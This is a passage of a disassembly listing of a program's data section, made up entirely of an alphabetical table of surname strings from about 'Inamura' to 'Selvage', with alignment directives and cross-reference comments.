aInamura	db 'Inamura',0          ; DATA XREF: ___:0043A7A0o
aInniss		db 'Inniss',0           ; DATA XREF: ___:0043A7A4o
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0043A7A8o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0043A7ACo
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0043A7B0o
		align 10h
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0043A7B4o
		align 4
aIyer		db 'Iyer',0             ; DATA XREF: ___:0043A7B8o
		align 4
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0043A7BCo
aJackson	db 'Jackson',0          ; DATA XREF: ___:0043A7C0o
aJagers		db 'Jagers',0           ; DATA XREF: ___:0043A7C4o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0043A7C8o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0043A7CCo
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0043A7D0o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0043A7D4o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0043A7D8o
		align 4
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0043A7DCo
		align 4
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0043A7E0o
aJay		db 'Jay',0              ; DATA XREF: ___:0043A7E4o
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0043A7E8o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0043A7ECo
		align 10h
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0043A7F0o
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0043A7F4o
		align 4
aJewett		db 'Jewett',0           ; DATA XREF: ___:0043A7F8o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0043A7FCo
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0043A800o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0043A804o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0043A808o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0043A80Co
		align 10h
aJucks		db 'Jucks',0            ; DATA XREF: ___:0043A810o
		align 4
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0043A814o
aJulious	db 'Julious',0          ; DATA XREF: ___:0043A818o
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0043A81Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0043A820o
		align 4
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0043A824o
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0043A828o
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0043A82Co
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0043A830o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0043A834o
		align 10h
aKalman		db 'Kalman',0           ; DATA XREF: ___:0043A838o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0043A83Co
		align 10h
aKangis		db 'Kangis',0           ; DATA XREF: ___:0043A840o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0043A844o
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:0043A848o
		align 10h
aKasten		db 'Kasten',0           ; DATA XREF: ___:0043A84Co
		align 4
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0043A850o
aKee		db 'Kee',0              ; DATA XREF: ___:0043A854o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0043A858o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0043A85Co
aKeith		db 'Keith',0            ; DATA XREF: ___:0043A860o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0043A864o
		align 4
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0043A868o
		align 4
aKempton	db 'Kempton',0          ; DATA XREF: ___:0043A86Co
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0043A870o
aKendall	db 'Kendall',0          ; DATA XREF: ___:0043A874o
aKerry		db 'Kerry',0            ; DATA XREF: ___:0043A878o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0043A87Co
		align 4
aKhong		db 'Khong',0            ; DATA XREF: ___:0043A880o
		align 4
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0043A884o
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0043A888o
aKimura		db 'Kimura',0           ; DATA XREF: ___:0043A88Co
		align 4
aKindall	db 'Kindall',0          ; DATA XREF: ___:0043A890o
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0043A894o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0043A898o
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0043A89Co
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0043A8A0o
		align 4
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0043A8A4o
		align 4
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0043A8A8o
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0043A8ACo
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0043A8B0o
		align 4
aKling		db 'Kling',0            ; DATA XREF: ___:0043A8B4o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0043A8B8o
aKlint		db 'Klint',0            ; DATA XREF: ___:0043A8BCo
		align 10h
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0043A8C0o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0043A8C4o
aKoch		db 'Koch',0             ; DATA XREF: ___:0043A8C8o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: ___:0043A8CCo
		align 10h
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0043A8D0o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0043A8D4o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0043A8D8o
		align 10h
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0043A8DCo
		align 4
aKool		db 'Kool',0             ; DATA XREF: ___:0043A8E0o
		align 10h
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0043A8E4o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0043A8E8o
		align 4
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0043A8ECo
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0043A8F0o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0043A8F4o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0043A8F8o
aKraus		db 'Kraus',0            ; DATA XREF: ___:0043A8FCo
		align 4
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0043A900o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0043A904o
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0043A908o
aKumar		db 'Kumar',0            ; DATA XREF: ___:0043A90Co
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0043A910o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0043A914o
		align 10h
aLa		db 'La',0               ; DATA XREF: ___:0043A918o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0043A91Co
aLafler		db 'Lafler',0           ; DATA XREF: ___:0043A920o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0043A924o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0043A928o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:0043A92Co
		align 10h
aLankes		db 'Lankes',0           ; DATA XREF: ___:0043A930o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0043A934o
		align 4
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0043A938o
		align 4
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0043A93Co
aLashley	db 'Lashley',0          ; DATA XREF: ___:0043A940o
aLawless	db 'Lawless',0
aLecar		db 'Lecar',0            ; DATA XREF: ___:0043A945o
		align 4
aLecce		db 'Lecce',0
		align 4
aLeclercq	db 'Leclercq',0
		align 10h
aLeite		db 'Leite',0
		align 4
aLenard		db 'Lenard',0
		align 10h
aLEnclos	db 'l',27h,'Enclos',0
		align 4
aLesser		db 'Lesser',0
		align 4
aLessi		db 'Lessi',0
		align 4
aLiakos		db 'Liakos',0
		align 4
aLidano		db 'Lidano',0
		align 4
aLiem		db 'Liem',0
		align 4
aLight		db 'Light',0
		align 4
aLightfoot	db 'Lightfoot',0
		align 4
aLim		db 'Lim',0
aLinares	db 'Linares',0
aLinda		db 'Linda',0
		align 4
aLinder		db 'Linder',0
		align 4
aLine_0		db 'Line',0
		align 4
aLinehan	db 'Linehan',0
aLinzee		db 'Linzee',0
		align 4
aLippmann	db 'Lippmann',0
		align 4
aLipponen	db 'Lipponen',0
		align 4
aLittle		db 'Little',0
		align 4
aLitvak		db 'Litvak',0
		align 4
aLivernash	db 'Livernash',0
		align 10h
aLivi		db 'Livi',0
		align 4
aLivolsi	db 'Livolsi',0
aLizardo	db 'Lizardo',0
aLocatelli	db 'Locatelli',0
		align 4
aLongworth	db 'Longworth',0
		align 10h
aLoss		db 'Loss',0
		align 4
aLoveman	db 'Loveman',0
aLowenstein	db 'Lowenstein',0
		align 4
aLoza		db 'Loza',0
		align 4
aLubin		db 'Lubin',0
		align 4
aLucas		db 'Lucas',0
		align 4
aLuciano	db 'Luciano',0
aLuczkow	db 'Luczkow',0
aLuecke		db 'Luecke',0
		align 4
aLunetta	db 'Lunetta',0
aLuoma		db 'Luoma',0
		align 4
aLussier	db 'Lussier',0
aLutcavage	db 'Lutcavage',0
		align 10h
aLuzader	db 'Luzader',0
aMa		db 'Ma',0
		align 4
aMaccormac	db 'Maccormac',0
		align 4
aMacdonald	db 'Macdonald',0
		align 4
aMaceachern	db 'Maceachern',0
		align 10h
aMacintyre	db 'Macintyre',0
		align 4
aMackenney	db 'Mackenney',0
		align 4
aMacmillan	db 'MacMillan',0
		align 4
aMacy		db 'Macy',0
		align 4
aMadigan	db 'Madigan',0
aMaggio		db 'Maggio',0
		align 4
aMahony		db 'Mahony',0
		align 4
aMaier		db 'Maier',0
		align 4
aMaineHershey	db 'Maine-Hershey',0
		align 4
aMaisano	db 'Maisano',0
aMalatesta	db 'Malatesta',0
		align 10h
aMaller		db 'Maller',0
		align 4
aMalova		db 'Malova',0
		align 10h
aManalis	db 'Manalis',0
aMandel		db 'Mandel',0
		align 10h
aManganiello	db 'Manganiello',0
aMantovan	db 'Mantovan',0
		align 4
aMarch_0	db 'March',0
		align 10h
aMarchbanks	db 'Marchbanks',0
		align 4
aMarcus		db 'Marcus',0
		align 4
aMargalit	db 'Margalit',0
		align 10h
aMargetts	db 'Margetts',0
		align 4
aMarques	db 'Marques',0
aMartinez	db 'Martinez',0
		align 10h
aMartochio	db 'Martochio',0
		align 4
aMarton		db 'Marton',0
		align 4
aMarubini	db 'Marubini',0
		align 10h
aMass		db 'Mass',0
		align 4
aMatalka	db 'Matalka',0
aMatarazzo	db 'Matarazzo',0
		align 4
aMatsukata	db 'Matsukata',0
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0043AA84o
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0043AA88o
		align 4
aMay_0		db 'May',0
aMazzali	db 'Mazzali',0
aMazziotta	db 'Mazziotta',0
		align 10h
aMcbride	db 'Mcbride',0
aMccaffery	db 'Mccaffery',0
		align 4
aMccall		db 'Mccall',0
		align 4
aMcclearn	db 'Mcclearn',0
		align 4
aMcdowell	db 'Mcdowell',0
		align 4
aMcelroy	db 'Mcelroy',0
aMcfadden	db 'McFadden',0
		align 4
aMcghee		db 'Mcghee',0
		align 10h
aMcgoldrick	db 'Mcgoldrick',0
		align 4
aMcilroy	db 'McIlroy',0
aMcintosh	db 'Mcintosh',0
		align 10h
aMckenna	db 'Mckenna',0
aMclane		db 'Mclane',0
		align 10h
aMclaren	db 'Mclaren',0
aMcnealy	db 'Mcnealy',0
aMcnulty	db 'Mcnulty',0
aMeccariello	db 'Meccariello',0
aMemisoglu	db 'Memisoglu',0
		align 10h
aMenzies	db 'Menzies',0
aMerikoski	db 'Merikoski',0
		align 4
aMerlani	db 'Merlani',0
aMerminod	db 'Merminod',0
		align 4
aMerseth	db 'Merseth',0
aMerz		db 'Merz',0
		align 4
aMetelka	db 'Metelka',0
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0043AAFCo
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0043AB00o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0043AB04o
		align 10h
aMiddle		db 'Middle',0           ; DATA XREF: ___:0043AB08o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0043AB0Co
		align 10h
aMills		db 'Mills',0            ; DATA XREF: ___:0043AB10o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0043AB14o
		align 10h
aMini		db 'Mini',0             ; DATA XREF: ___:0043AB18o
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0043AB1Co
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0043AB20o
		align 10h
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0043AB24o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0043AB28o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0043AB2Co
aModestino	db 'Modestino',0        ; DATA XREF: ___:0043AB30o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0043AB34o
aMohr		db 'Mohr',0             ; DATA XREF: ___:0043AB38o
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0043AB3Co
		align 4
aMonque		db 'Monque',0           ; DATA XREF: ___:0043AB40o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0043AB44o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0043AB48o
		align 4
aMorani		db 'Morani',0           ; DATA XREF: ___:0043AB4Co
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0043AB50o
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0043AB54o
		align 10h
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0043AB58o
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0043AB5Co
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0043AB60o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0043AB64o
		align 4
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0043AB68o
		align 10h
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0043AB6Co
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0043AB70o
aMuello		db 'Muello',0           ; DATA XREF: ___:0043AB74o
		align 4
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0043AB78o
		align 10h
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0043AB7Co
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0043AB80o
		align 10h
aMumford	db 'Mumford',0          ; DATA XREF: ___:0043AB84o
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0043AB88o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0043AB8Co
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0043AB90o
		align 4
aNardi		db 'Nardi',0            ; DATA XREF: ___:0043AB94o
		align 10h
aNardone	db 'Nardone',0          ; DATA XREF: ___:0043AB98o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0043AB9Co
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0043ABA0o
aNelson		db 'Nelson',0           ; DATA XREF: ___:0043ABA4o
		align 10h
aNenna		db 'Nenna',0            ; DATA XREF: ___:0043ABA8o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0043ABACo
		align 10h
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0043ABB0o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0043ABB4o
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0043ABB8o
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0043ABBCo
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0043ABC0o
		align 10h
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0043ABC4o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0043ABC8o
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0043ABCCo
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0043ABD0o
		align 10h
aNotman		db 'Notman',0           ; DATA XREF: ___:0043ABD4o
		align 4
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0043ABD8o
		align 10h
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0043ABDCo
aOgata		db 'Ogata',0            ; DATA XREF: ___:0043ABE0o
		align 10h
aOh		db 'Oh',0               ; DATA XREF: ___:0043ABE4o
		align 4
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0043ABE8o
aOldford	db 'Oldford',0          ; DATA XREF: ___:0043ABECo
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0043ABF0o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0043ABF4o
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0043ABF8o
		align 10h
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0043ABFCo
		align 4
aOman		db 'Oman',0             ; DATA XREF: ___:0043AC00o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0043AC04o
aOpel		db 'Opel',0             ; DATA XREF: ___:0043AC08o
		align 4
aOray		db 'Oray',0             ; DATA XREF: ___:0043AC0Co
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0043AC10o
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0043AC14o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0043AC18o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0043AC1Co
		align 10h
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0043AC20o
		align 4
aOtten		db 'Otten',0            ; DATA XREF: ___:0043AC24o
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0043AC28o
aOvid		db 'Ovid',0             ; DATA XREF: ___:0043AC2Co
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0043AC30o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0043AC34o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0043AC38o
		align 4
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0043AC3Co
		align 10h
aPallara	db 'Pallara',0          ; DATA XREF: ___:0043AC40o
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0043AC44o
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0043AC48o
		align 10h
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0043AC4Co
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0043AC50o
		align 4
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0043AC54o
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0043AC58o
aParris		db 'Parris',0           ; DATA XREF: ___:0043AC5Co
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0043AC60o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0043AC64o
		align 10h
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0043AC68o
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0043AC6Co
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0043AC70o
		align 10h
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0043AC74o
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0043AC78o
		align 10h
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0043AC7Co
		align 4
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0043AC80o
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0043AC84o
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0043AC88o
		align 4
aPederson	db 'Pederson',0         ; DATA XREF: ___:0043AC8Co
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0043AC90o
aPenny		db 'Penny',0            ; DATA XREF: ___:0043AC94o
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0043AC98o
aPerko		db 'Perko',0            ; DATA XREF: ___:0043AC9Co
		align 4
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0043ACA0o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0043ACA4o
aPerna		db 'Perna',0            ; DATA XREF: ___:0043ACA8o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0043ACACo
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0043ACB0o
		align 10h
aPeters		db 'Peters',0           ; DATA XREF: ___:0043ACB4o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0043ACB8o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0043ACBCo
		align 10h
aPettit		db 'Pettit',0           ; DATA XREF: ___:0043ACC0o
		align 4
aPfister	db 'Pfister',0          ; DATA XREF: ___:0043ACC4o
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0043ACC8o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0043ACCCo
		align 10h
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0043ACD0o
aPlant		db 'Plant',0            ; DATA XREF: ___:0043ACD4o
		align 10h
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0043ACD8o
aPlous		db 'Plous',0            ; DATA XREF: ___:0043ACDCo
		align 10h
aPo		db 'Po',0               ; DATA XREF: ___:0043ACE0o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0043ACE4o
		align 10h
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0043ACE8o
		align 4
aPointer	db 'Pointer',0          ; DATA XREF: ___:0043ACECo
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0043ACF0o
aPolak		db 'Polak',0            ; DATA XREF: ___:0043ACF4o
		align 4
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0043ACF8o
aPolitis	db 'Politis',0          ; DATA XREF: ___:0043ACFCo
aPoma		db 'Poma',0             ; DATA XREF: ___:0043AD00o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0043AD04o
aPowers		db 'Powers',0           ; DATA XREF: ___:0043AD08o
		align 4
aPresper	db 'Presper',0          ; DATA XREF: ___:0043AD0Co
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0043AD10o
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0043AD14o
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0043AD18o
		align 10h
aPritz		db 'Pritz',0            ; DATA XREF: ___:0043AD1Co
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0043AD20o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0043AD24o
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0043AD28o
		align 4
aPugh		db 'Pugh',0             ; DATA XREF: ___:0043AD2Co
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0043AD30o
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0043AD34o
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0043AD38o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0043AD3Co
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0043AD40o
		align 4
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0043AD44o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0043AD48o
aRaney		db 'Raney',0            ; DATA XREF: ___:0043AD4Co
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0043AD50o
		align 10h
aRankin		db 'Rankin',0           ; DATA XREF: ___:0043AD54o
		align 4
aRapple		db 'Rapple',0           ; DATA XREF: ___:0043AD58o
		align 10h
aRayport	db 'Rayport',0          ; DATA XREF: ___:0043AD5Co
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0043AD60o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0043AD64o
		align 4
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0043AD68o
		align 10h
aReinold	db 'Reinold',0          ; DATA XREF: ___:0043AD6Co
aRemak		db 'Remak',0            ; DATA XREF: ___:0043AD70o
		align 10h
aRenick		db 'Renick',0           ; DATA XREF: ___:0043AD74o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0043AD78o
aResnik		db 'Resnik',0           ; DATA XREF: ___:0043AD7Co
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0043AD80o
		align 10h
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0043AD84o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0043AD88o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0043AD8Co
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0043AD90o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0043AD94o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0043AD98o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0043AD9Co
		align 10h
aRocha		db 'Rocha',0            ; DATA XREF: ___:0043ADA0o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0043ADA4o
aRogers		db 'Rogers',0           ; DATA XREF: ___:0043ADA8o
		align 4
aRonen		db 'Ronen',0            ; DATA XREF: ___:0043ADACo
		align 10h
aRow		db 'Row',0              ; DATA XREF: ___:0043ADB0o
aRoyal		db 'Royal',0            ; DATA XREF: ___:0043ADB4o
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0043ADB8o
		align 10h
aRuan		db 'Ruan',0             ; DATA XREF: ___:0043ADBCo
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0043ADC0o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0043ADC4o
		align 10h
aRush		db 'Rush',0             ; DATA XREF: ___:0043ADC8o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0043ADCCo
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0043ADD0o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:0043ADD4o
		align 10h
aSafire		db 'Safire',0           ; DATA XREF: ___:0043ADD8o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:0043ADDCo
		align 10h
aSali		db 'Sali',0             ; DATA XREF: ___:0043ADE0o
		align 4
aSamson		db 'Samson',0           ; DATA XREF: ___:0043ADE4o
		align 10h
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0043ADE8o
aSanna		db 'Sanna',0            ; DATA XREF: ___:0043ADECo
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:0043ADF0o
		align 10h
aSarin		db 'Sarin',0            ; DATA XREF: ___:0043ADF4o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:0043ADF8o
aSase		db 'Sase',0             ; DATA XREF: ___:0043ADFCo
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:0043AE00o
		align 10h
aSatta		db 'Satta',0            ; DATA XREF: ___:0043AE04o
		align 4
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0043AE08o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0043AE0Co
aSayied		db 'Sayied',0           ; DATA XREF: ___:0043AE10o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0043AE14o
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0043AE18o
		align 4
aScharf		db 'Scharf',0           ; DATA XREF: ___:0043AE1Co
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0043AE20o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0043AE24o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0043AE28o
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0043AE2Co
		align 10h
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0043AE30o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0043AE34o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0043AE38o
		align 4
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0043AE3Co
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0043AE40o
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0043AE44o
		align 10h
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0043AE48o
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0043AE4Co
aScovel		db 'Scovel',0           ; DATA XREF: ___:0043AE50o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0043AE54o
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0043AE58o
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0043AE5Co
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0043AE60o
		align 4
aSekler		db 'Sekler',0           ; DATA XREF: ___:0043AE64o
		align 4
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0043AE68o
